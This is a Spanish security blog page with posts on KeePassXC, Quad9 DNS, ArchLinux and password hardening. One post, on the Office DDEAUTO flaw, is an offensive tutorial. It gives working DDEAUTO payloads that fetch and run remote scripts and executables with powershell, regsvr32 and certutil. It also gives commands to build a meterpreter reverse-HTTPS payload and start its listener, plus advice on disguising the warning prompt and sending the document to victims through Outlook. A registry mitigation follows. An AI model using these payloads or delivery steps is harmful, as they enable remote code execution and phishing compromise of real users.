Blog sobre seguridad informática, privacidad, anonimato, hacking ético, programación y sistemas operativos en general.

jueves, 30 de noviembre de 2017

Integrando KeePassXC junto a Firefox.


Anteriormente hablamos de KeePassXC, un potente, seguro y moderno gestor de contraseñas multiplataforma. 

El día de hoy les vamos a enseñar cómo configurarlo de tal manera que no sea necesario introducir todas las contraseñas y datos de acceso manualmente en la aplicación, sino que esto se realice automáticamente cuando hagamos el ingreso en un sistio web mediante el navegador Firefox. Para esto vamos a utilizar un addon llamado KeePassHTTP-Connector



Una vez instalado abrimos nuestro KeePassXC instalado y realizamos lo siguiente:

1. Abrimos nuestro KeePassXC, vamos a la sección "Tools -> Settings -> Browser Integration" y activamos la opción "Enable KeePassHTTP server".


2. Una vez hecho esto, volvemos a Firefox y presionamos sobre el ícono de KeePassHTTP-Connector y seguidamente en "Connect".


3. Una vez hagamos click en conectar, nos informará que KeePassHTTP está solicitando un ID o un nombre para la base de datos que queremos crear en el servidor interno, en mi caso colocaré "shldb".



4. Si nos vamos nuevamente al ícono de KeePassHTTP-Connector, nos damos cuenta que se ha quitado la "x" roja y además nos muestra un mensaje que dice que está conectado al servidor KeePassHTTP usando el identificador de la base de datos asignado en el paso anterior.


Con eso tenemos todo listo, ahora hagamos la prueba. Vayamos a cualquier sitio donde tengamos un login activo, yo lo haré en https://chat.disroot.org/#/login. Cómo podemos observar, al momento de introcucir nuestras credenciales y dar click en "Login", el ícono de KeePassHTTP-Connector cambia a color rojo y empieza un leve parpadeo. Al dar click en el ícono nos informará que se ha detectado un cambio en usuario o contraseña y preguntará si deseamos añadir los datos de acceso a la base de datos de KeePassHTPP, damos en "New".
 


Ahora podemos verificar que en realidad se ha añadido a la base de datos de KeePassXC yendo a ella y comprobando la lista de accesos.


A continuación dejaremos un vídeo donde se realizará paso a paso lo escrito en el blog.



Notas.

* Para que el protocolo KeePassHTTP funcione, es necesario que la base de datos de KeePassXC permaneza desbloqueda.

* KeePassHTTP no es un protocolo altamente seguro y tiene ciertos fallos que permiten a un atacante descifrar sus contraseñas si logran interceptar la comunicación entre un servidor KeePassHTTP y KeePassHTTP-Connector a través de una conexión de red (ver aquí y aquí). Por lo tanto, KeePassXC limita estrictamente la comunicación entre él y el complemento del navegador a su computadora local. Mientras su computadora no se vea comprometida, sus contraseñas son bastante seguras de esa manera, ¡pero úselas bajo su propio riesgo!.

* Si lo único que vas a guardar, son contraseñas de accesos web, te recomendamos configurar y utilizar la contraseña maestra de Firefox en lugar de un gestor de contraseñas.

Esperamos que esta publicación haya sido de utilidad, cualquier inquietud o sugerencia dejarla en los comentarios o bien, en los medios que indicamos a continuación. 

Síguenos en Facebook, Twitter, unete a nuestra charla en Riot, únete a IRC o únete a Telegram.

martes, 28 de noviembre de 2017

Infectando Office de Windows con DDEAUTO


Hace unos días se descubrió una vulnerabilidad que puede desencadenar la ejecución de comandos en Office, sin el uso de macros, cuando alguien abre un documento de Office especialmente diseñado. Aunque se necesita un poco de ingeniería social para que la víctima haga clic en "sí" en los primeros 2 de 3 cuadros de mensaje, la mayoría de los usuarios finales son engañados fácilmente. Descubrieron que al abusar de los parámetros de la función DDEAUTO podían usar powershell para descargar cargas maliciosas de forma remota. DDE es un mecanismo heredado de Comunicación entre Procesos (IPC) que data de 1987, que establece un enlace de intercambio dinámico de datos (DDE) con un documento creado en otro programa basado en Microsoft Windows. SensePost descubrió que, en lugar de especificar una aplicación como Excel, un atacante puede especificar parámetros arbitrarios de otra aplicación como primer parámetro y argumentos citados como el segundo parámetro (que no puede exceder 255 bytes).

La prueba rápida y fácil:

Abra un nuevo documento de Word, presione la tecla CTRL + F9, y pegue esto entre los corchetes {} y luego guarde el archivo

DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe"



Deberías tener algo similar que se parece a la imagen de arriba.
Payloads.
 Aunque ejecutar la calculadora es lindo y todo con fines de demostración, puede hacer más cosas maliciosas para ejecutar cargas maliciosas en un sistema de destino.

DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -w hidden -nop -ep bypass Start-BitsTransfer -Source "http://willgenovese.com/hax/index.js"; -Destination "index.js" & start c:\\Windows\System32\cmd.exe /c cscript.exe index.js"


DDEAUTO c:\\windows\\system32\\cmd.exe "/k regsvr32 /s /n /u /i:http://willgenovese.com/hax/calc.sct scrobj.dll " 



DDEAUTO c:\\windows\\system32\\cmd.exe "/k certutil -urlcache -split -f http://willgenovese.com/hax/test.exe && test.exe"


DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://willgenovese.com/hax/evil.ps1');powershell -e $e "


También existe un script bash que usa CactusTorch para generar automáticamente payloads de conexión inversa en meterpreter, ya sea mediante TCP/HTTP/HTTPS y embebidos en lenguajes vbs/hta/js que puede insertar en documentos de Word para probar.

https://github.com/xillwillx/CACTUSTORCH_DDEAUTO

También puedes ofuscar los contenidos del mensaje de alerta promoviendo tus intentos de ingeniería social para engañar al usuario para que haga clic en "sí".
 
DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord\\..\\..\\..\\..\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden IEX (New-Object System.Net.WebClient).DownloadString('http://willgenovese.com/hax/evil.ps1'); # " "Microsoft Document Security Add-On"


Aunque los scripts de powershell webdl son más fáciles de hacer, es posible que desee tener un payload todo en un solo documento, por lo que no llamará a su binario a través de la red. Dave Kennedy actualizó su script en python Unicorn para generar payloads con msfvenom que codifica/decodifica en base64 cuando se activa el DDEAUTO.

Abra una consola en GNU/Linux y ejecute lo siguiente:

IP=`ip -4 addr show $iface | grep -oP '(?<=inet\s)\d+(\.\d+){3}'`
git clone https://github.com/trustedsec/unicorn.git && cd unicorn
python unicorn.py windows/meterpreter/reverse_https $IP 443 dde
cat powershell_attack.txt  | xclip -selection clipboard | leafpad powershell_attack.txt 

Nota: Debe reemplazar $iface por la interfaz que desee usar, puedes verlas usando el comando ip link.
 
Pegue el payload generado con el comando "cat" en Word y guárdelo, luego envíela a su destino. Luego, en una nueva terminal, abra su metereter para recibir algunas shells inversas.

IP=`ip -4 addr show eth0 | grep -oP '(?<=inet\s)\d+(\.\d+){3}'`
msfconsole -qx "use exploit/multi/handler;set payload windows/meterpreter/reverse_https;set LHOST '$IP';set LPORT 443; set ExitOnSession false;exploit -j -z"

* Si necesita su IP externa, cambie la primera línea de código a:

IP="$(dig +short myip.opendns.com @resolver1.opendns.com)"
Outlook.

También puede obtener shells con un mensaje de correo electrónico de texto enriquecido de Outlook, la única advertencia en Outlook 2013/2016 es que necesita incrustar una imagen/gráfico u objeto primero antes de agregar el payload DDEAUTO.

Abra el documento de Word, presione la tecla CTRL + F9 y pegue su payload entre los corchetes {}, luego abra un nuevo mensaje de correo electrónico de Outlook. Vaya a la pestaña Formato de texto y cambie el mensaje a formato de texto enriquecido.



En el cuerpo del mensaje, copie y pegue cualquier imagen en el cuerpo.



De su documento Word, copie el payload y luego péguelo en el cuerpo del correo electrónico. Ingrese el destinatario, etc. y envíe. Obtendrá los mensajes DDE, solo dígales "no". Cuando su destinatario recibe el correo electrónico, no se activará hasta que presione responder. Si presionan "sí" en las primeras 2 casillas de mensajes, entonces ejecutará su payload.




Mitigaciones:

Se ha probado que esto funciona en archivos doc(x/m), dot(x/m), rtf, Word xml, draft msg & oft. Aunque el análisis subyacente que utiliza Word desencadena este comportamiento cuando se abren estos tipos de archivos, Microsoft respondió que se trata de una característica y que no se tomarán medidas adicionales para solucionarla (a menos que, por supuesto, los actuales ataques de ransomware y otros virus lo forcen).

A continuación dejaremos un archivo .reg que puede ser usado para desactivar DDEAUTO en tu sistema.

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Options]
 "DontUpdateLinks"=dword:00000001

[HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Word\Options]
 "DontUpdateLinks"=dword:00000001

[HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Options]
 "DontUpdateLinks"=dword:00000001

[HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Options\WordMail]
 "DontUpdateLinks"=dword:00000001

[HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Word\Options\WordMail]
 "DontUpdateLinks"=dword:00000001

[HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Options\WordMail]
 "DontUpdateLinks"=dword:00000001

[HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\OneNote\Options]
"DisableEmbeddedFiles"=dword:00000001

[HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\OneNote\Options]
"DisableEmbeddedFiles"=dword:00000001

[HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Options]
 "DontUpdateLinks"=dword:00000001
 "DDEAllowed"=dword:00000000
 "DDECleaned"=dword:00000001

[HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Excel\Options]
 "DontUpdateLinks"=dword:00000001
 "DDEAllowed"=dword:00000000
 "DDECleaned"=dword:00000001
 "Options"=dword:00000117

[HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Options]
 "DontUpdateLinks"=dword:00000001
 "DDEAllowed"=dword:00000000
 "DDECleaned"=dword:00000001
 "Options"=dword:00000117 

 

A continuación hay un video demostrativo que ha creado uno de nuestros usuarios.



Esperamos que esta publicación haya sido de utilidad, cualquier inquietud o sugerencia dejarla en los comentarios o bien, en los medios que indicamos a continuación. 

Síguenos en Facebook, Twitter, unete a nuestra charla en Riot, únete a IRC o únete a Telegram.

lunes, 27 de noviembre de 2017

KeePassXC: Un potente, seguro y moderno gestor de contraseñas multiplataforma.


https://keepassxc.org/logo.pngKeePassXC es un gestor de contraseñas multiplataforma con una interfaz gráfica de usuario y está escrito en C++.

La base de datos completa siempre se cifra con el algoritmo de cifrado AES (alias Rijndael) estándar de la industria utilizando una clave de 256 bits. KeePassXC es un port de Keepass Password Safe que se creó con el objetivo de ampliar y mejorar con nuevas características y correcciones de errores para proporcionar un administrador de contraseñas de código abierto moderno, totalmente multiplataforma y rico en funciones.


  •     Multiplataforma.

KeePassXC es una bifurcación de la comunidad de KeePassX, el puerto multiplataforma de KeePass para Windows. Cada característica funciona multiplataforma y se probó exhaustivamente en múltiples sistemas para proporcionar a los usuarios la misma apariencia en todos los sistemas operativos compatibles.


  •     Código abierto.

El código fuente completo se publica bajo los términos de la Licencia Pública General de GNU. Consideramos que el código abierto es un prerrequisito vital para cualquier producto de software de seguridad crítica. Por esa razón, KeePassXC es y siempre será gratis. ¡Las contribuciones de todos son bienvenidas!

  •     Características adicionales comparado con KeepassX.

* Auto-Type en las tres plataformas principales (Linux, Windows, macOS)

* Cifrado Twofish

* Soporte YubiKey pregunta-respuesta

* Generación TOTP

* Importación de archivos CSV

* Interfaz de línea de comando (keepassxc-cli)

* Hardening con DEP y ASLR

* Generador de contraseñas autónomo

* Medidor de calidad de contraseña

* Usar favicons de sitios web cómo iconos de entrada

* Fusión de bases de datos

* Recarga automática cuando la base de datos se modificó externamente

* Soporte para integrar la aplicación de escritorio con KeePassHTTP mediante la extensión KeePassHTTP-Connector (más adelante se explicará su uso y funcionamiento) disponible para Mozilla Firefox y Google Chrome.

* Muchas correcciones de errores


Para obtener una lista completa de las nuevas características y cambios, eche un vistazo al registro de cambios completo de KeePassXC.

  •     Requisitos

KeePassXC tiene los siguientes requisitos de tiempo de ejecución:


* Qt5 (5.2 o más reciente): qtbase y qttools5

* libgcrypt (1.6 o más reciente)

* zlib

* libxi, libxtst, qtx11extras (opcional para Auto-Type en X11/Linux)

* libyubikey, libykpers-1 (opcional para el soporte de YubiKey)


Al usar la versión de AppImage o Snap Package, estas dependencias ya se incluyen con la aplicación.


Para construir KeePassXC a partir del código fuente, también se requieren las siguientes dependencias de compilación:


* make

* cmake (3.1 o más nuevo)

* c++ (4.7 o posterior) o clang ++ (3.0 o posterior)

* encabezados para todas las dependencias de tiempo de ejecución (paquetes * -dev o * -devel)


El código fuente puede ser descargado desde aquí: https://keepassxc.org/download#source

  •     Instalación en sistemas específicos.

 1. Linux.


    ArchLinux:  pacman -S keepassxc

    Debian: apt install keepassxc

    Fedora: dnf install keepassxc

    Otras distribuciones: https://keepassxc.org/download#linux

2. Windows.

Descargando el ejecutable desde aquí: https://keepassxc.org/download#windows


3. Macintosh.

Descargando la AppImage desde aquí: https://keepassxc.org/download#mac 
Inicialización y configuración de KeePassXC.

Una vez instalado KeePassXC en nuestra computadora, lo siguiente es ejecutarla, lo podemos hacer desde la terminal (en sistemas Unix/Linux) o bien desde el menú de nuestra PC. Una vez abierto nos mostrará algo cómo esto:




En nuestro caso daremos en "Create new database". Si tenemos una base de datos anterior creada con KeePassX por ejemplo, damos en "Open existing database". En la primera opción se nos abrirá el gestor de archivo que tengamos y nos permitirá elegir la ubicación y el nombre de la base de datos que vamos a crear.




Una vez guardada nos solicitará una clave maestra, esta clave es de suma importancia ya que todos los datos que almacenemos en la base de datos pueden ser accedidos usando dicha contraseña. Si eres paranoico y deseas extra-seguridad, puedes crear un archivo de clave el cual se solicitará cada vez que abras KeePassXC. Tenga en cuenta que si pierde el archivo la base de datos quedará inutilizable ya que esta no se podrá desbloquear con solo la clave maestra.




Bien, ahora que ya hemos creado nuestra base de datos tendremos una pantalla cómo esta:




En la parte izquierda podemos Añadir/Modificar Grupos (Por ejemplo podemos crear dos grupos, uno para los accesos de la empresa y otro para accesos personales) y en la parte derecha es donde añadiremos los datos de acceso de la siguiente manera:




Ahora damos en "Apply", "Ok" y quedará guardada la entrada. Podemos añadir tiempo de expiración a la entrada creada habilitando la opción "Expires" en la imagen anterior.

Se creará la entrada y quedará así:



Dando click derecho sobre la entrada tendremos opciones tales cómo "Copiar/Modificar usuario", "Copiar/Modificar contraseña", "Abrir URL", "Clonar entrada", entre otras más.

Una vez cerrado KeePassXC la base de datos se bloqueará y nos solicitará la clave maestra la próxima vez que intentemos abrirla, además si configuramos el archivo de clave también lo solicitará.




KeePassXC posee además un generador de contraseñas en la sección "Tools", aunque en este post explicamos cómo crear contraseñas ultra-seguras, así mismo una gran variedad de configuraciones en la sección "Tools -> Settings", entre las cuales se destaca el apartado "Security" con opciones interesantes cómo el bloqueo automatico de contraseñas, el limpiado automático de las contraseñas/usuarios copiados.





 Recomendaciones.


* La base de nuestra seguridad son las contraseñas, elige siempre contraseñas confiables. Para realizar este proceso puedes basarte en este post.

* Nunca dejes en lugares de fácil acceso frases de contraseña o archivos de clave, si es posible mentaliza la clave maestra y guarda el archivo en un medio extraíble encriptado.

Esperamos que esta publicación haya sido de utilidad, cualquier inquietud o sugerencia dejarla en los comentarios en bien, en los medios que indicamos a continuación.
Síguenos en Facebook, Twitter, unete a nuestra charla en Riot (Para charlar con nosotros online), únete a IRC o únete a Telegram.

También puedes dejar su donación a nuestra cuenta Paypal.

sábado, 18 de noviembre de 2017

Configura "DNS 9.9.9.9 Quad9" en cualquier distribución Linux


Quad9 reúne inteligencia de amenazas cibernéticas sobre dominios maliciosos de una variedad de fuentes públicas y privadas, y bloquea el acceso a esos dominios maliciosos cuando su sistema intenta contactarlos. Cuando utiliza Quad9, los atacantes y el malware no pueden aprovechar los dominios maliciosos conocidos para controlar sus sistemas, y su capacidad para robar sus datos o causar daños se verá obstaculizada. Quad9 es una manera efectiva y fácil de agregar una capa adicional de seguridad a su infraestructura de forma gratuita. En nuestros post anterior comentamos sobre ale uso de DNS Quad9 hoy Te enseñaremos a configurar el DNS 9.9.9.9.

Algunas distribuciones Linux basados ​​en systemd-resolved. Para configurar editamos  /etc/resolv.conf

$ sudo nano /etc/resolv.conf











Guarden y cierre el archivo y reiniciamos el servicio...

Comprobamos: $ dig google.com

                          $ host tu dominio


 
Configure Quad9 en Ubuntu 14.04 /16.04 LTS y Debian 8/9 

Editamos /etc/network/interfaces:
$ sudo nano /etc/network/interfaces 


Configure Quad9 en Archlinux, CoreOS Container Linux, Ubuntu 17.10

Por ejemplo de /etc/systemd/network/05-eth0.network (suponiendo que el nombre de la interfaz es eth0):

## READ following man pages ##
# man systemd-networkd
# man systemd-resolved
##
[Match]
Name=eth0
[Network]
DHCP=no
Domains= tu dominio
IPv6PrivacyExtensions=false
# DNS resolvers (safe to mix IPv4 and IPv6)
DNS=9.9.9.9 2620:fe::fe
# IPv4 gateway and primary address.
Gateway=192.168.1.1
Address=192.168.1.2/24
# IPv6 gateway and primary address.
# Gateway=your-router-ipv6
# Address=your-ipv6-here

Configurar Quad9 usando el NetworkManager en Linux


Quad9 9.9.9.9. DNS de protección contra los ataques de phishing



Global Cyber ​​Alliance (GCA), una organización fundada por organizaciones policiales y de investigación para ayudar a reducir el delito cibernético, se ha asociado con IBM y Packet Clearing House para lanzar un sistema público gratuito de servicio de nombres de dominio. El objetivo de este sistema es bloquear los dominios asociados con botnets, ataques de phishing y otros host maliciosos de Internet, principalmente dirigidos a organizaciones que no ejecutan sus propios servicios de listas blancas DNS y de listas blancas.

Llamado Quad9 (después de la dirección de Protocolo de Internet 9.9.9.9 que el servicio ha obtenido), el servicio funciona como cualquier otro servidor DNS público (como Google), excepto que no devolverá las resoluciones de nombre para los sitios que se identifican a través de amenazas. servicios agregados diariamente "Cualquiera en cualquier lugar puede usarlo", dijo Phil Rettinger, presidente y director de operaciones de GCA, en una entrevista con Ars. El servicio, dice, será "confidencial", sin registrar las direcciones que realizan las solicitudes de DNS: "guardaremos solo datos de geolocalización [aproximada]", dijo, con el objetivo de rastrear la propagación de solicitudes asociadas con solicitudes particulares. dominios maliciosos. "Estamos anonimizando los datos, sacrificando el lado de la privacidad".
La inteligencia en dominios maliciosos proviene de 19 amenazas, una de las cuales es X-Force de IBM. Adnan Baykal, Asesor Técnico Principal de GCA, le dijo a Ars que el servicio extrae estos feeds de amenazas en cualquier formato en el que se publiquen, y los convierte en una base de datos que luego se duplica. Quad9 también genera una lista blanca de dominios que nunca se bloqueará; usa una lista de los principales dominios solicitados de un millón. Durante el desarrollo, Quad9 usó Alexa, pero ahora que la lista de los mejores millones de sitios de Alexa ya no se mantiene, Baykal dijo que GCA y sus socios tuvieron que recurrir a una fuente alternativa para los datos.
También hay una "lista de oro": dominios que nunca deberían bloquearse, como los principales sitios de servicios de Internet, como la nube Azure de Microsoft, Google y los servicios web de Amazon. "Nos damos cuenta de que docs.google.com está organizando ataques de phishing", dijo Baykal. "Pero como se trata de un filtrado de DNS, no podemos bloquear esa URL específicamente. Y no queremos bloquear Google por completo".
Los sitios bloqueados, la lista blanca y las listas de oro se convierten luego en un formato de Zona de política de respuesta (RPZ) antes de ser enviados a los clústeres de servidores DNS en todo el mundo mantenidos por Packet Clearing House mediante transferencias de zona DNS. Los clústeres de servidores DNS, que tienen un equilibrio de carga con dnsdist, usan una combinación de servidores Unbound y PowerDNS para entregar respuestas. "Estamos ejecutando dos variantes diferentes detrás de un equilibrador de carga", dijo Baykal, "de modo que si hay un problema con uno, podemos eliminarlo, o si hay una vulnerabilidad crítica, podemos cerrar uno y aplicarle un parche".
A partir de su lanzamiento, había grupos de servidores DNS configurados en 70 ubicaciones diferentes en todo el mundo; Baykal dijo que la organización espera tener 100 sitios en funcionamiento antes de fin de año. Cada clúster tiene al menos tres servidores, explicó Baykal, "y en algunas áreas críticas, como Chicago, tenemos cinco, siete o nueve sistemas detrás del equilibrador de carga". Cada instancia se ejecuta en una máquina virtual, por lo que se pueden aprovisionar servidores adicionales en la infraestructura de Packet Clearing House, según sea necesario. De todos modos, las velocidades de respuesta de DNS serán lo suficientemente rápidas para que la gran mayoría de los usuarios no noten la diferencia.
Si un nombre de dominio está en la lista de bloqueo, el servicio simplemente responde a la consulta con un mensaje "NXDOMAIN" (dominio inexistente). "Romperá las consultas DNS", dijo Rettinger, "pero tiende a funcionar mejor que sumirse en el abismo" -la práctica de reenviar dominios defectuosos a un host controlado por el servicio, como se ha hecho con algunos dominios botnet incautados en el pasado- "porque si te hundes, puedes romper otras cosas".
Dado que las amenazas se actualizarán una o dos veces al día en todo el mundo, es probable que Quad9 no tenga mucho impacto en el malware que usa direcciones DNS que cambian rápidamente para comando y control. Sin embargo, ofrece un nivel básico de protección contra los ataques de phishing que suplantan el dominio y otros ataques basados ​​en la Web que han sido recogidos por los principales feeds de amenazas. Y las organizaciones pueden registrar con bastante facilidad las respuestas de Quad9 para identificar sistemas en sus propias redes que pueden tener malware o podrían haber sido atacados por ataques de phishing al ingresar las respuestas de NXDOMAIN.


El servicio Quad9 es gratuito, pero necesita ser financiado continuamente. GCA es una organización sin fines de lucro, por lo que el crecimiento a largo plazo del servicio se basa principalmente en que el gobierno y la industria sigan financiándolo. GCA fue financiado inicialmente con $ 25 millones en decomiso de activos criminales dirigidos a la organización por el fiscal de distrito de Manhattan Cyrus Vance Jr. Rettinger dijo que GCA está hablando con otros proveedores principales de DNS sobre cómo pueden replicar el servicio de Quad9, sin embargo, existe la posibilidad de GCA puede ser absorbido por la gran infraestructura de Internet.

En el próximo post te enseñare a instalar DNS Quad9 en cualquier Linux

Fuente: Quad9 

miércoles, 1 de noviembre de 2017

¿Por qué ArchLinux?




Hace varios meses hemos estado recibiendo comentarios sobre el por qué de nuestra inclinación a la distribución ArchLinux al momento de hacer publicaciones, vídeos y demás. En un post anterior sobre hardening encontramos un comentario el cual nos decía lo siguiente:

" Buenos días, las pruebas se harán en Archlinux, necesito entender:

¿Porqué Archlinux?
¿La instalación es más compleja que en otras distros, como Debian o Ubuntu?
¿Se asemeja Archlinux a Kalilinux?

Gracias de antemano. "

 A lo largo de este post vamos a responder esas preguntas, pero sobre todo nos extenderemos en la explicación de "Por qué ArchLinux".

¿Por qué ArchLinux?

1. Porque es Rolling Release. Es decir, Arch Linux se actualiza continuamente. No es necesario esperar a que se libere una versión más actualizada para disponer del último software, características de seguridad, etc… De hecho, en nuestra opinión, esta actualización continua es más segura que actualizar, por ejemplo, entre versiones de Ubuntu, donde más de uno se ha encontrado con problemas.

2. Porque es extremadamente ligero. Arch Linux mantiene el principio KISS (Keep It Simple, Stupid), es decir, mantenlo sencillo, estúpido. El principio KISS establece que la mayoría de sistemas funcionan mejor si se mantienen simples evitando así cualquier complejidad innecesaria. De ahí que en Arch Linux tengamos activados solamente los servicios que vamos a utilizar, o no tengamos cantidades ingentes de librerías instaladas que no vamos a utilizar nunca, por ejemplo.

3. Porque es extremadamente personalizable. La instalación de Arch Linux no incluye entorno gráfico, y cuando lo instalas viene con el sistema base, dejándote así elegir por ti mismo instalar las aplicaciones que prefieras.

4. Porque aprenderás muchísimo sobre Linux. Para poder instalar, configurar y mantener Arch Linux, tendrás que “meter la mano” en bastantes archivos de configuración y tirar bastante de la consola. ¡Aprenderás casi sin darte cuenta!

5. Porque dispone de la mejor documentación. La Wiki de Arch Linux es completísima y fácil de seguir. Si tienes alguna duda sobre cómo configurar algo seguro que lo encuentras en la Wiki. Además la Wiki es consultada no solo por usuarios de ArchLinux, es tan amplia la documentación que sirve para todas las distribuciones GNU/Linux, ArchLinux posee la Wiki más completa de todo GNU/Linux.

6. Porque dispone de una comunidad siempre dispuesta a ayudar. Generalmente las comunidades GNU/Linux tienen un problema: Ofenden a los novatos por hacer pregunas "básicas" sin antes documentarse, además de odiar Windows. En ArchLinux no sucede eso, es una comunidad muy unida y dispuesta a resolver cualquier problema, con algunas excepciones, claro.

7. Porque solo tiene cinco repositorios y AUR. Con sus cinco repositorios oficiales (Community, Core, Extra, Multilib, Testing[Opcional]) y AUR, en ArchLinux tienes disponibles cuantos paquetes necesites. No es necesario agregar algún otro repositorio para instalar paquetes que no están en los repositorios oficiales.

8. Porque su gestor de paquetes es pacman. Pacman es tan genial como apt, salvo porque es más sencillo de usar, los comando son más cortas y es muchísimo más rápido.

9. Porque es muy estable. Seguro que Debian es muy estable, pero con todas las ventajas que he mencionado antes, ArchLinux está al 95% del nivel de estabilidad si tomamos a Debian cómo base, ¿Qué más se puede pedir?

¿La instalación es más compleja que en otras distros, como Debian o Ubuntu?

Sí, ya que no dispone de un instalador gráfico oficial pero no es algo del otro mundo, en este post explicamos detalladamente cómo hacerlo.

¿Se asemeja Archlinux a Kali Linux?

Cómo mencionamos antes, ArchLinux se puede moldear a tu antojo y hacerla similar a cualquier otra distribución, sin embargo si deseas una distribución basada en ArchLinux y enfocada al pentesting de inmediato, te recomendamos BlackArch, si deseas ser más profesional y convertir ArchLinux en una distribución de Pentesting, lee este post.

https://blackarch.org/images/slider/ba-slider2.pnghttps://blackarch.org/images/slider/ba-slider.png


El mundo GNU/Linux tiene muchas opciones de todos los colores y sabores, nosotros recomendamos ArchLinux.

Esperamos que esta publicación haya sido de utilidad, cualquier inquietud o sugerencia dejarla en los comentarios en bien, en los medios que indicamos a continuación.
Síguenos en Facebook, Twitter, unete a nuestra charla en Riot (Para charlar con nosotros online) o únete a Telegram.

También puedes dejar su donación a nuestra cuenta Paypal.



jueves, 26 de octubre de 2017

#Linux-Hardening (1): Contraseñas.


Las contraseñas son la clave para un sistema Linux seguro. Aseguran sus cuentas de usuario, sistemas de archivos encriptados, aplicaciones y claves SSH/GPG . Son la principal forma en que una computadora elige confiar en la persona que la usa, por lo que una gran parte de la seguridad consiste simplemente en elegir contraseñas seguras y protegerlas. Una contraseña puede cambiar dráticamente la seguridad de cualquier sistema, asegúrate de elegir la correcta.

Elegir contraseñas seguras.

Cuando la seguridad se basa en una frase de contraseña, debe ser lo suficientemente compleja como para no ser fácilmente adivinada, por ejemplo, que no contenga nada de información personal, o que no pueda ser descifrada usando, por ejemplo, ataques de fuerza bruta. Los principios de las contraseñas fuertes se basan en la longitud y la aleatoriedad . En la criptografía, la calidad de una frase de contraseña se conoce como: seguridad entrópica.

Entre las contraseñas inseguras están aquellas que contienen:
1. Información de identificación personal (por ejemplo, el nombre de su perro, fecha de nacimiento, código de área, videojuego favorito).
2. Sustituciones de caracteres simples en palabras (Ej., s3cur1ty)
3. Palabras o cadenas comunes seguidas o precedidas por números agregados, símbolos o caracteres (p. Ej., linux25102017%)
4. Frases comunes o frases cortas de palabras relacionadas gramaticalmente (por ejemplo, kernel linux), e incluso con la sustitución de caracteres.

La elección correcta para una contraseña es algo largo (8-20 caracteres, dependiendo de la importancia) y completamente aleatorio. Una buena técnica para construir contraseñas seguras y aleatorias es basarlas en los caracteres de cada palabra de una oración. Tome por ejemplo "Somos Security Hack Labs" podría traducirse a 5oS3Ha(|4bS. Este enfoque podría hacer que sea más fácil recordar una contraseña.

5o = Somos, S3 = Security, Ha( = Hack, |4bS = Labs. 

Un mejor enfoque es generar contraseñas pseudoaleatorias con herramientas como pwgen o apg: para memorizarlas, una técnica (para las que se escriben a menudo) es generar una contraseña larga y memorizar una cantidad mínimamente segura de caracteres, anotando temporalmente el total generado cuerda. Con el tiempo, aumente la cantidad de caracteres escritos, hasta que la contraseña esté memorizada totalmente. Esta técnica es más difícil, pero puede proporcionar la confianza de que una contraseña no aparecerá en listas de palabras o ataques de fuerza bruta "inteligente" que combinen palabras y caracteres sustitutos o que pueden ser encontrados en diccionarios para fuerza bruta.

Podemos utilizar las dos herramientas mencionadas anteriormente de la siguiente manera:

* Pwgen.


[root@SecHackLabs shl]# pwgen --help

Usage: pwgen [ OPTIONS ] [ pw_length ] [ num_pw ]



Options supported by pwgen:

  -c or --capitalize

    Include at least one capital letter in the password

  -A or --no-capitalize

    Don't include capital letters in the password

  -n or --numerals

    Include at least one number in the password

  -0 or --no-numerals

    Don't include numbers in the password

  -y or --symbols

    Include at least one special symbol in the password

  -s or --secure

    Generate completely random passwords

  -B or --ambiguous

    Don't include ambiguous characters in the password

  -h or --help

    Print a help message

  -H or --sha1=path/to/file[#seed]

    Use sha1 hash of given file as a (not so) random generator

  -C

    Print the generated passwords in columns

  -1

    Don't print the generated passwords in columns

  -v or --no-vowels

    Do not use any vowels so as to avoid accidental nasty words

Esas son las opciones generales de la herramienta, una buena manera de usarla para obtener una contraseña segura sería la siguiente:

[root@SecHackLabs shl]# pwgen -cnyv 20 100


-c : Incluye al menos una mayúscula en la contraseña.
-n : Incluye al menos un número en la contraseña.
-y : Incluye carácteres especiales en la contraseña.
-v : No usa vocales.
20 : El número de carácteres en la contraseña.
100 : El número de contraseñas generadas.

Nos arrojará contraseñas cómo estas:


* Apg.

[root@SecHackLabs shl]# apg -h

apg   Automated Password Generator
        Copyright (c) Adel I. Mirzazhanov

apg   [-a algorithm] [-r file] 
      [-M mode] [-E char_string] [-n num_of_pass] [-m min_pass_len]
      [-x max_pass_len] [-c cl_seed] [-d] [-s] [-h] [-y] [-q]

-M mode         new style password modes
-E char_string  exclude characters from password generation process
-r file         apply dictionary check against file
-b filter_file  apply bloom filter check against filter_file
                (filter_file should be created with apgbfm(1) utility)
-p substr_len   paranoid modifier for bloom filter check
-a algorithm    choose algorithm
                 1 - random password generation according to
                     password modes
                 0 - pronounceable password generation
-n num_of_pass  generate num_of_pass passwords
-m min_pass_len minimum password length
-x max_pass_len maximum password length
-s              ask user for a random seed for password
                generation
-c cl_seed      use cl_seed as a random seed for password
-d              do NOT use any delimiters between generated passwords
-l              spell generated password
-t              print pronunciation for generated pronounceable password
-y              print crypted passwords
-q              quiet mode (do not print warnings)
-h              print this help screen
-v              print version information

Una buena manera de usar apg es así:

[root@SecHackLabs shl]# apg -a 1 -m 20 -n 20


-a 1 : Genera contraseñas random de acuerdo a los modos de contraseñas.
-m 20 : El mínimo de la contraseña son 20 carácteres.
-n 20 : El número de contraseñas generadas (20). 

El resultado será:



